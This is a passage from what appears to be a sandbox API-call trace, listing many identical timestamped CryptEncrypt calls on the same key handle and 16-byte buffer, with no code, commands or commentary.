(in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.819] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.819] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.819] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.819] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.819] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.819] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.819] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.819] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.819] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.820] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.820] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.820] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.820] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.820] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.820] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.820] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.820] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.820] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.820] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.820] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.820] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.820] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.820] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.820] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.820] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.820] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.820] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.820] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.820] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.820] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.820] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.820] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.820] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.820] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.820] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.820] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.820] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.820] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.820] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.821] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.821] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.821] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.821] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.821] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.821] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.821] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.821] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.821] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.821] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.821] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.821] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.821] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.821] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.821] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.821] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.821] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.821] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.821] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.821] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.821] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.821] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.821] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.821] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.821] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.821] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.821] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.821] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.821] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.821] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.822] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.822] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.822] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.822] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.822] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.822] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.822] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.822] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.822] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.822] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.822] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.822] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.822] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.822] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.822] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.822] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.822] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.822] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.822] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.822] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.822] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.822] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.822] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.822] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.822] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.822] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.822] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.822] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.822] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.822] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.823] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.823] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.823] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.823] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.823] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.823] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.823] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.823] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 